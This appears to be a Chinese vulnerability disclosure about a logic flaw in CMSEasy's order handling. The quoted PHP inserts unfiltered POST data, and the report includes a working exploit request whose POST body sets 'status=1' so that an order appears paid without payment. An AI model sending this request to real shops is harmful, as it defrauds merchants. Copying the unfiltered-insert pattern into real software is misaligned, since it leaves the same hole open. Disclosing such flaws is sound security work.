### 简要描述:
cmseasy设计逻辑缺陷可以不花钱买东西
### 详细说明:
archive_act.php:
```
function orders_action() {
$this->view->aid = trim(front::get('aid'));
if (front::post('submit')) {
$this->orders = new orders();
$row = $this->orders->getrow("","adddate DESC");
//var_dump(time());
if($row['adddate'] && time() - $row['adddate'] <= intval(config::get('order_time'))){
alerterror('操作频繁,请稍后再试');
return;
}
if (front::$post['telphone'] == '') {
alerterror('联系电话为必填!');
return;
}
front::$post['mid'] = $this->view->user['userid'] ? $this->view->user['userid'] : 0;
front::$post['adddate'] = time();
front::$post['ip'] = front::ip();
if (isset(front::$post['aid'])) {
$aidarr = front::$post['aid'];
unset(front::$post['aid']);
foreach ($aidarr as $val) {
front::$post['aid'].=$val . ',';
front::$post['pnums'].=front::$post['thisnum'][$val] . ',';
}
} else {
front::$post['aid'] = $this->view->aid;
}
if (!isset(front::$post['logisticsid']))
front::$post['logisticsid'] = 0;
front::$post['oid'] = date('YmdHis') . '-' . front::$post['logisticsid'] . '-' . front::$post['mid'] . '-' . front::$post['payname'];
$insert = $this->orders->rec_insert(front::$post);
```
这时候 我们跟进去看看:
这里的条件是填写完整的订单信息,然后默认订单状态为零 就是未支付状态
那么这里又没有对$post传递过来的参数做unset处理,也就是说这里我们可以传入订单的状态
订单分为六个状态
新订单为0
完成所有选项的状态为1
那么我们发送url:
http://localhost/uploads/index.php?case=archive&act=orders&aid=10
postdata:
pnums=1&pname=xxx&telphone=1111&address=1111111111111&status=1&postcode=710000&content=xxx&submit=+%E6%8F%90%E4%BA%A4+
[<img src="https://images.seebug.org/upload/201411/041907414f4b6f2e37ed187231226a15f6fc5e7e.png" alt="45.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/041907414f4b6f2e37ed187231226a15f6fc5e7e.png)
然后后台查看订单状态:
[<img src="https://images.seebug.org/upload/201411/04190835cffddfd64f27d8f37831ca9558a72d2a.png" alt="46.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/04190835cffddfd64f27d8f37831ca9558a72d2a.png)
ok!!!!
### 漏洞证明:
暂无评论